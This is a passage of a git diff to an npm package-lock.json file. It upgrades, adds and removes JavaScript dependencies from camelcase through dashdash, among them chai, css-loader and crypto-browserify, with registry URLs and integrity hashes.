} + }, "camelcase": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-1.2.1.tgz", "integrity": "sha1-m7UwTS4LVmmLLHWLCKPqqdqlijk=", - "dev": true + "dev": true, + "optional": true }, "camelcase-keys": { "version": "2.1.0", @@ -1679,22 +2645,10 @@ } } }, - "caniuse-api": { - "version": "1.6.1", - "resolved": "https://registry.npmjs.org/caniuse-api/-/caniuse-api-1.6.1.tgz", - "integrity": "sha1-tTTnxzTE+B7F++isoq0kNUuWLGw=", - "dev": true, - "requires": { - "browserslist": "1.7.7", - "caniuse-db": "1.0.30000715", - "lodash.memoize": "4.1.2", - "lodash.uniq": "4.5.0" - } - }, - "caniuse-db": { - "version": "1.0.30000715", - "resolved": "https://registry.npmjs.org/caniuse-db/-/caniuse-db-1.0.30000715.tgz", - "integrity": "sha1-C5tceVlQ37rzAaiAa6/ofxJtqMo=", + "caniuse-lite": { + "version": "1.0.30000877", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30000877.tgz", + "integrity": "sha512-h04kV/lcuhItU1CZTJOxUEk/9R+1XeJqgc67E+XC8J9TjPM8kzVgOn27ZtRdDUo8O5F8U4QRCzDWJrVym3w3Cg==", "dev": true }, "caseless": { @@ -1708,20 +2662,24 @@ "resolved": "https://registry.npmjs.org/center-align/-/center-align-0.1.3.tgz", "integrity": "sha1-qg0yYptu6XIgBBHL1EYckHvCt60=", "dev": true, + "optional": true, "requires": { "align-text": "0.1.4", "lazy-cache": "1.0.4" } }, "chai": { - "version": "3.5.0", - "resolved": "https://registry.npmjs.org/chai/-/chai-3.5.0.tgz", - "integrity": "sha1-TQJjewZ/6Vi9v906QOxW/vc3Mkc=", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chai/-/chai-4.1.2.tgz", + "integrity": "sha1-D2RYS6ZC8PKs4oBiefTwbKI61zw=", "dev": true, "requires": { - "assertion-error": "1.0.2", - "deep-eql": "0.1.3", - "type-detect": "1.0.0" + "assertion-error": "1.1.0", + "check-error": "1.0.2", + "deep-eql": "3.0.1", + "get-func-name": "2.0.0", + "pathval": "1.1.0", + "type-detect": "4.0.8" } }, "chalk": { @@ -1737,11 +2695,24 @@ "supports-color": "2.0.0" } }, + "chardet": { + "version": "0.4.2", + "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.4.2.tgz", + "integrity": "sha1-tUc7M9yXxCTl2Y3IfVXU2KKci/I=", + "dev": true + }, + "check-error": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.2.tgz", + "integrity": "sha1-V00xLt2Iu13YkS6Sht1sCu1KrII=", + "dev": true + }, "chokidar": { "version": "1.7.0", "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-1.7.0.tgz", "integrity": "sha1-eY5ol3gVHIB2tLNg5e3SjNortGg=", "dev": true, + "optional": true, "requires": { "anymatch": "1.3.2", "async-each": "1.0.1", @@ -1754,19 +2725,64 @@ "readdirp": "2.1.0" } }, + "chownr": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.0.1.tgz", + "integrity": "sha1-4qdQQqlVGQi+vSW4Uj1fl2nXkYE=", + "dev": true + }, + "chrome-trace-event": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.0.tgz", + "integrity": "sha512-xDbVgyfDTT2piup/h8dK/y4QZfJRSa73bw1WZ8b4XM1o7fsFubUVGYcE+1ANtOzJJELGpYoG2961z0Z6OAld9A==", + "dev": true, + "requires": { + "tslib": "1.9.3" + } + }, + "cipher-base": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.4.tgz", + "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==", + "dev": true, + "requires": { + "inherits": "2.0.3", + "safe-buffer": "5.1.1" + } + }, "circular-json": { "version": "0.3.3", "resolved": "https://registry.npmjs.org/circular-json/-/circular-json-0.3.3.tgz", "integrity": "sha512-UZK3NBx2Mca+b5LsG7bY183pHWt5Y1xts4P3Pz7ENTwGVnJOUWbRb3ocjvX7hx9tq/yTAdclXm9sZ38gNuem4A==", "dev": true }, - "clap": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/clap/-/clap-1.2.0.tgz", - "integrity": "sha1-WckP4+E3EEdG/xlGmiemNP9oyFc=", + "class-utils": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", + "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", "dev": true, "requires": { - "chalk": "1.1.3" + "arr-union": "3.1.0", + "define-property": "0.2.5", + "isobject": "3.0.1", + "static-extend": "0.1.2" + }, + "dependencies": { + "define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", + "dev": true, + "requires": { + "is-descriptor": "0.1.6" + } + }, + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "dev": true + } } }, "classnames": { @@ -1774,19 +2790,28 @@ "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.2.5.tgz", "integrity": "sha1-+zgB1FNGdknvNgPH1hoCvRKb3m0=" }, - "cli-cursor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-1.0.2.tgz", - "integrity": "sha1-ZNo/fValRBLll5S9Ytw1KV6PKYc=", + "clean-css": { + "version": "4.1.11", + "resolved": "https://registry.npmjs.org/clean-css/-/clean-css-4.1.11.tgz", + "integrity": "sha1-Ls3xRaujj1R0DybO/Q/z4D4SXWo=", "dev": true, "requires": { - "restore-cursor": "1.0.1" + "source-map": "0.5.6" + } + }, + "cli-cursor": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-2.1.0.tgz", + "integrity": "sha1-s12sN2R5+sw+lHR9QdDQ9SOP/LU=", + "dev": true, + "requires": { + "restore-cursor": "2.0.0" } }, "cli-width": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.1.0.tgz", - "integrity": "sha1-sjTKIJsp72b8UY2bmNWEewDt8Ao=", + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.0.tgz", + "integrity": "sha1-/xnt6Kml5XkyQUewwR8PvLq+1jk=", "dev": true }, "cliui": { @@ -1794,6 +2819,7 @@ "resolved": "https://registry.npmjs.org/cliui/-/cliui-2.1.0.tgz", "integrity": "sha1-S0dXYP+AJkx2LDoXGQMukcf+oNE=", "dev": true, + "optional": true, "requires": { "center-align": "0.1.3", "right-align": "0.1.3", @@ -1804,30 +2830,15 @@ "version": "0.0.2", "resolved": "https://registry.npmjs.org/wordwrap/-/wordwrap-0.0.2.tgz", "integrity": "sha1-t5Zpu0LstAn4PVg8rVLKF+qhZD8=", - "dev": true + "dev": true, + "optional": true } } }, - "clone": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.2.tgz", - "integrity": "sha1-Jgt6meux7f4kdTgXX3gyQ8sZ0Uk=", - "dev": true - }, "co": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=", - "dev": true - }, - "coa": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/coa/-/coa-1.0.4.tgz", - "integrity": "sha1-qe8VNmDWqGqL3sAomlxoTSF0Mv0=", - "dev": true, - "requires": { - "q": "1.5.0" - } + "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=" }, "code-point-at": { "version": "1.1.0", @@ -1835,15 +2846,14 @@ "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", "dev": true }, - "color": { - "version": "0.11.4", - "resolved": "https://registry.npmjs.org/color/-/color-0.11.4.tgz", - "integrity": "sha1-bXtcdPtl6EHNSHkq0e1eB7kE12Q=", + "collection-visit": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", + "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", "dev": true, "requires": { - "clone": "1.0.2", - "color-convert": "1.9.0", - "color-string": "0.3.0" + "map-visit": "1.0.0", + "object-visit": "1.0.1" } }, "color-convert": { @@ -1861,30 +2871,10 @@ "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=", "dev": true }, - "color-string": { - "version": "0.3.0", - "resolved": "https://registry.npmjs.org/color-string/-/color-string-0.3.0.tgz", - "integrity": "sha1-J9RvtnAlxcL6JZk7+/V55HhBuZE=", - "dev": true, - "requires": { - "color-name": "1.1.3" - } - }, - "colormin": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/colormin/-/colormin-1.1.2.tgz", - "integrity": "sha1-6i90IKcrlogaOKrlnsEkpvcpgTM=", - "dev": true, - "requires": { - "color": "0.11.4", - "css-color-names": "0.0.4", - "has": "1.0.1" - } - }, "colors": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/colors/-/colors-1.1.2.tgz", - "integrity": "sha1-FopHAXVran9RoSzgyXv6KMCE7WM=", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.3.1.tgz", + "integrity": "sha512-jg/vxRmv430jixZrC+La5kMbUWqIg32/JsYNZb94+JEmzceYbWKTsv1OuTp+7EaqiaWRR2tPcykibwCRgclIsw==", "dev": true }, "combine-lists": { @@ -1893,7 +2883,7 @@ "integrity": "sha1-RYwH4J4NkA/Ci3Cj/sLazR0st/Y=", "dev": true, "requires": { - "lodash": "4.17.4" + "lodash": "4.17.10" } }, "combined-stream": { @@ -1924,9 +2914,9 @@ "dev": true }, "component-emitter": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.1.2.tgz", - "integrity": "sha1-KWWU8nU9qmOZbSrwjRWpURbJrsM=", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", + "integrity": "sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=", "dev": true }, "component-inherit": { @@ -1936,33 +2926,50 @@ "dev": true }, "compressible": { - "version": "2.0.11", - "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.11.tgz", - "integrity": "sha1-FnGKdd4oPtjmBAQWJaIGRYZ5fYo=", + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/compressible/-/compressible-2.0.14.tgz", + "integrity": "sha1-MmxfUH+7BV9UEWeCuWmoG2einac=", "dev": true, "requires": { - "mime-db": "1.29.0" + "mime-db": "1.35.0" + }, + "dependencies": { + "mime-db": { + "version": "1.35.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.35.0.tgz", + "integrity": "sha512-JWT/IcCTsB0Io3AhWUMjRqucrHSPsSf2xKLaRldJVULioggvkJvggZ3VXNNSRkCddE6D+BUI4HEIZIA2OjwIvg==", + "dev": true + } } }, "compression": { - "version": "1.7.0", - "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.0.tgz", - "integrity": "sha1-AwyfGY8WQ6BX13anOOki2kNzAS0=", + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/compression/-/compression-1.7.3.tgz", + "integrity": "sha512-HSjyBG5N1Nnz7tF2+O7A9XUhyjru71/fwgNb7oIsEVHR0WShfs2tIS/EySLgiTe98aOK18YDlMXpzjCXY/n9mg==", "dev": true, "requires": { - "accepts": "1.3.3", - "bytes": "2.5.0", - "compressible": "2.0.11", - "debug": "2.6.8", + "accepts": "1.3.5", + "bytes": "3.0.0", + "compressible": "2.0.14", + "debug": "2.6.9", "on-headers": "1.0.1", - "safe-buffer": "5.1.1", - "vary": "1.1.1" + "safe-buffer": "5.1.2", + "vary": "1.1.2" }, "dependencies": { - "bytes": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-2.5.0.tgz", - "integrity": "sha1-TJQj6i0lLCcMQbK97+/5u2tiwGo=", + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", "dev": true } } @@ -2017,21 +3024,32 @@ } }, "connect": { - "version": "3.6.3", - "resolved": "https://registry.npmjs.org/connect/-/connect-3.6.3.tgz", - "integrity": "sha512-GLSZqgjVxPvGYVD/2vz//gS201MEXk4b7t3nHV6OVnTdDNWi/Gm7Rpxs/ybvljPWvULys/wrzIV3jB3YvEc3nQ==", + "version": "3.6.6", + "resolved": "https://registry.npmjs.org/connect/-/connect-3.6.6.tgz", + "integrity": "sha1-Ce/2xVr3I24TcTWnJXSFi2eG9SQ=", "dev": true, "requires": { - "debug": "2.6.8", - "finalhandler": "1.0.4", - "parseurl": "1.3.1", - "utils-merge": "1.0.0" + "debug": "2.6.9", + "finalhandler": "1.1.0", + "parseurl": "1.3.2", + "utils-merge": "1.0.1" + }, + "dependencies": { + "debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "requires": { + "ms": "2.0.0" + } + } } }, "connect-history-api-fallback": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.3.0.tgz", - "integrity": "sha1-5R0X+PDvDbkKZP20feMFFVbp8Wk=", + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/connect-history-api-fallback/-/connect-history-api-fallback-1.5.0.tgz", + "integrity": "sha1-sGhzk0vF40T+9hGhlqb6rgruAVo=", "dev": true }, "console-browserify": { @@ -2056,15 +3074,15 @@ "dev": true }, "content-type": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.2.tgz", - "integrity": "sha1-t9ETrueo3Se9IRM8TcJSnfFyHu0=", + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", + "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==", "dev": true }, "convert-source-map": { - "version": "1.5.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.0.tgz", - "integrity": "sha1-ms1whRxtXf3ZPZKC5e35SgP/RrU=", + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.5.1.tgz", + "integrity": "sha1-uCeAl7m8IpNl3lxiz1/K7YtVmeU=", "dev": true }, "cookie": { @@ -2079,6 +3097,26 @@ "integrity": "sha1-4wOogrNCzD7oylE6eZmXNNqzriw=", "dev": true }, + "copy-concurrently": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/copy-concurrently/-/copy-concurrently-1.0.5.tgz", + "integrity": "sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==", + "dev": true, + "requires": { + "aproba": "1.2.0", + "fs-write-stream-atomic": "1.0.10", + "iferr": "0.1.5", + "mkdirp": "0.5.1", + "rimraf": "2.6.2", + "run-queue": "1.0.3" + } + }, + "copy-descriptor": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", + "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=", + "dev": true + }, "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", @@ -2088,23 +3126,80 @@ } }, "copyfiles": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-1.2.0.tgz", - "integrity": "sha1-qNo6xBqiIgrim9PFi2mEKU8sWTw=", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.0.0.tgz", + "integrity": "sha512-NSSJdwCH27/hEiBlhkXYWh3AaPo8IATxLX5XtJQgknOvOehrREtETsGd/BNr2vuj0URgKBC/50PNRM3yShQGJQ==", "dev": true, "requires": { "glob": "7.1.2", - "ltcdr": "2.2.1", "minimatch": "3.0.4", "mkdirp": "0.5.1", "noms": "0.0.0", - "through2": "2.0.3" + "through2": "2.0.3", + "yargs": "11.1.0" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", + "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", + "dev": true + }, + "cliui": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz", + "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", + "dev": true, + "requires": { + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" + } + }, + "find-up": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", + "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", + "dev": true, + "requires": { + "locate-path": "2.0.0" + } + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", + "dev": true, + "requires": { + "ansi-regex": "3.0.0" + } + }, + "yargs": { + "version": "11.1.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz", + "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", + "dev": true, + "requires": { + "cliui": "4.1.0", + "decamelize": "1.2.0", + "find-up": "2.1.0", + "get-caller-file": "1.0.3", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "9.0.2" + } + } } }, "core-js": { - "version": "2.5.6", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.6.tgz", - "integrity": "sha512-lQUVfQi0aLix2xpyjrrJEvfuYCqPc/HwmTKsC/VNf8q0zsjX7SQZtp4+oRONN5Tsur9GDETPjj+Ub2iDiGZfSQ==" + "version": "2.5.7", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.5.7.tgz", + "integrity": "sha512-RszJCAxg/PP6uzXVXL6BsxSXx/B05oJAQ2vkJRjyjrEcNVycaqOmNb5OTxZPE3xa5gwZduqza6L9JOCenh/Ecw==" }, "core-util-is": { "version": "1.0.2", @@ -2112,14 +3207,52 @@ "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", "dev": true }, - "create-react-class": { - "version": "15.6.3", - "resolved": "https://registry.npmjs.org/create-react-class/-/create-react-class-15.6.3.tgz", - "integrity": "sha512-M+/3Q6E6DLO6Yx3OwrWjwHBnvfXXYA7W+dFjt/ZDBemHO1DDZhsalX/NUtnTYclN6GfnBDRh4qRHjcDHmlJBJg==", + "create-ecdh": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/create-ecdh/-/create-ecdh-4.0.3.tgz", + "integrity": "sha512-GbEHQPMOswGpKXM9kCWVrremUcBmjteUaQ01T9rkKCPDXfUHX0IoP9LpHYo2NPFampa4e+/pFDc3jQdxrxQLaw==", + "dev": true, "requires": { - "fbjs": "0.8.16", - "loose-envify": "1.3.1", - "object-assign": "4.1.1" + "bn.js": "4.11.8", + "elliptic": "6.4.1" + } + }, + "create-hash": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/create-hash/-/create-hash-1.2.0.tgz", + "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==", + "dev": true, + "requires": { + "cipher-base": "1.0.4", + "inherits": "2.0.3", + "md5.js": "1.3.4", + "ripemd160": "2.0.2", + "sha.js": "2.4.11" + } + }, + "create-hmac": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/create-hmac/-/create-hmac-1.1.7.tgz", + "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==", + "dev": true, + "requires": { + "cipher-base": "1.0.4", + "create-hash": "1.2.0", + "inherits": "2.0.3", + "ripemd160": "2.0.2", + "safe-buffer": "5.1.1", + "sha.js": "2.4.11" + } + }, + "cross-spawn": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-5.1.0.tgz", + "integrity": "sha1-6L0O/uWPz/b4+UUQoKVUu/ojVEk=", + "dev": true, + "requires": { + "lru-cache": "4.1.3", + "shebang-command": "1.2.0", + "which": "1.3.0" } }, "cryptiles": { @@ -2143,23 +3276,24 @@ } }, "crypto-browserify": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.3.0.tgz", - "integrity": "sha1-ufx1u0oO1h3PHNXa6W6zDJw+UGw=", + "version": "3.12.0", + "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.0.tgz", + "integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==", "dev": true, "requires": { - "browserify-aes": "0.4.0", - "pbkdf2-compat": "2.0.1", - "ripemd160": "0.2.0", - "sha.js": "2.2.6" + "browserify-cipher": "1.0.1", + "browserify-sign": "4.0.4", + "create-ecdh": "4.0.3", + "create-hash": "1.2.0", + "create-hmac": "1.1.7", + "diffie-hellman": "5.0.3", + "inherits": "2.0.3", + "pbkdf2": "3.0.16", + "public-encrypt": "4.0.2", + "randombytes": "2.0.6", + "randomfill": "1.0.4" } }, - "css-color-names": { - "version": "0.0.4", - "resolved": "https://registry.npmjs.org/css-color-names/-/css-color-names-0.0.4.tgz", - "integrity": "sha1-gIrcLnnPhHOAabZGyyDsJ762KeA=", - "dev": true - }, "css-in-js-utils": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/css-in-js-utils/-/css-in-js-utils-2.0.0.tgz", @@ -2169,90 +3303,97 @@ } }, "css-loader": { - "version": "0.23.1", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-0.23.1.tgz", - "integrity": "sha1-n6I/K1wJZSNZEK1ezvO4o2OQ/lA=", + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-1.0.0.tgz", + "integrity": "sha512-tMXlTYf3mIMt3b0dDCOQFJiVvxbocJ5Ho577WiGPYPZcqVEO218L2iU22pDXzkTZCLDE+9AmGSUkWxeh/nZReA==", "dev": true, "requires": { - "css-selector-tokenizer": "0.5.4", - "cssnano": "3.10.0", - "loader-utils": "0.2.17", - "lodash.camelcase": "3.0.1", - "object-assign": "4.1.1", - "postcss": "5.2.17", - "postcss-modules-extract-imports": "1.1.0", + "babel-code-frame": "6.26.0", + "css-selector-tokenizer": "0.7.0", + "icss-utils": "2.1.0", + "loader-utils": "1.1.0", + "lodash.camelcase": "4.3.0", + "postcss": "6.0.23", + "postcss-modules-extract-imports": "1.2.0", "postcss-modules-local-by-default": "1.2.0", "postcss-modules-scope": "1.1.0", "postcss-modules-values": "1.3.0", - "source-list-map": "0.1.8" + "postcss-value-parser": "3.3.0", + "source-list-map": "2.0.0" + }, + "dependencies": { + "babel-code-frame": { + "version": "6.26.0", + "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz", + "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", + "dev": true, + "requires": { + "chalk": "1.1.3", + "esutils": "2.0.2", + "js-tokens": "3.0.2" + } + }, + "loader-utils": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.1.0.tgz", + "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", + "dev": true, + "requires": { + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" + } + } + } + }, + "css-select": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/css-select/-/css-select-1.2.0.tgz", + "integrity": "sha1-KzoRBTnFNV8c2NMUYj6HCxIeyFg=", + "dev": true, + "requires": { + "boolbase": "1.0.0", + "css-what": "2.1.0", + "domutils": "1.5.1", + "nth-check": "1.0.1" } }, "css-selector-tokenizer": { - "version": "0.5.4", - "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.5.4.tgz", - "integrity": "sha1-E5uv00o1/QwUKEhwSeBpnm9qLCE=", + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/css-selector-tokenizer/-/css-selector-tokenizer-0.7.0.tgz", + "integrity": "sha1-5piEdK6MlTR3v15+/s/OzNnPTIY=", "dev": true, "requires": { "cssesc": "0.1.0", - "fastparse": "1.1.1" + "fastparse": "1.1.1", + "regexpu-core": "1.0.0" + }, + "dependencies": { + "regexpu-core": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-1.0.0.tgz", + "integrity": "sha1-hqdj9Y7k18L2sQLkdkBQ3n7ZDGs=", + "dev": true, + "requires": { + "regenerate": "1.3.2", + "regjsgen": "0.2.0", + "regjsparser": "0.1.5" + } + } } }, + "css-what": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/css-what/-/css-what-2.1.0.tgz", + "integrity": "sha1-lGfQMsOM+u+58teVASUwYvh/ob0=", + "dev": true + }, "cssesc": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-0.1.0.tgz", "integrity": "sha1-yBSQPkViM3GgR3tAEJqq++6t27Q=", "dev": true }, - "cssnano": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/cssnano/-/cssnano-3.10.0.tgz", - "integrity": "sha1-Tzj2zqK5sX+gFJDyPx3GjqZcHDg=", - "dev": true, - "requires": { - "autoprefixer": "6.7.7", - "decamelize": "1.2.0", - "defined": "1.0.0", - "has": "1.0.1", - "object-assign": "4.1.1", - "postcss": "5.2.17", - "postcss-calc": "5.3.1", - "postcss-colormin": "2.2.2", - "postcss-convert-values": "2.6.1", - "postcss-discard-comments": "2.0.4", - "postcss-discard-duplicates": "2.1.0", - "postcss-discard-empty": "2.1.0", - "postcss-discard-overridden": "0.1.1", - "postcss-discard-unused": "2.2.3", - "postcss-filter-plugins": "2.0.2", - "postcss-merge-idents": "2.1.7", - "postcss-merge-longhand": "2.0.2", - "postcss-merge-rules": "2.1.2", - "postcss-minify-font-values": "1.0.5", - "postcss-minify-gradients": "1.0.5", - "postcss-minify-params": "1.2.2", - "postcss-minify-selectors": "2.1.1", - "postcss-normalize-charset": "1.1.1", - "postcss-normalize-url": "3.0.8", - "postcss-ordered-values": "2.2.3", - "postcss-reduce-idents": "2.4.0", - "postcss-reduce-initial": "1.0.1", - "postcss-reduce-transforms": "1.0.4", - "postcss-svgo": "2.1.6", - "postcss-unique-selectors": "2.0.2", - "postcss-value-parser": "3.3.0", - "postcss-zindex": "2.2.0" - } - }, - "csso": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/csso/-/csso-2.3.2.tgz", - "integrity": "sha1-3dUsWHAz9J6Utx/FVWnyUuj/X4U=", - "dev": true, - "requires": { - "clap": "1.2.0", - "source-map": "0.5.6" - } - }, "currently-unhandled": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz", @@ -2268,13 +3409,19 @@ "integrity": "sha1-XQKkaFCt8bSjF5RqOSj8y1v9BCU=", "dev": true }, + "cyclist": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/cyclist/-/cyclist-0.2.2.tgz", + "integrity": "sha1-GzN5LhHpFKL9bW7WRHRkRE5fpkA=", + "dev": true + }, "d": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/d/-/d-1.0.0.tgz", "integrity": "sha1-dUu1v+VUUdpppYuU1F9MWwRi1Y8=", "dev": true, "requires": { - "es5-ext": "0.10.26" + "es5-ext": "0.10.46" } }, "dashdash": { @@ -2286,6 +3433,12 @@ 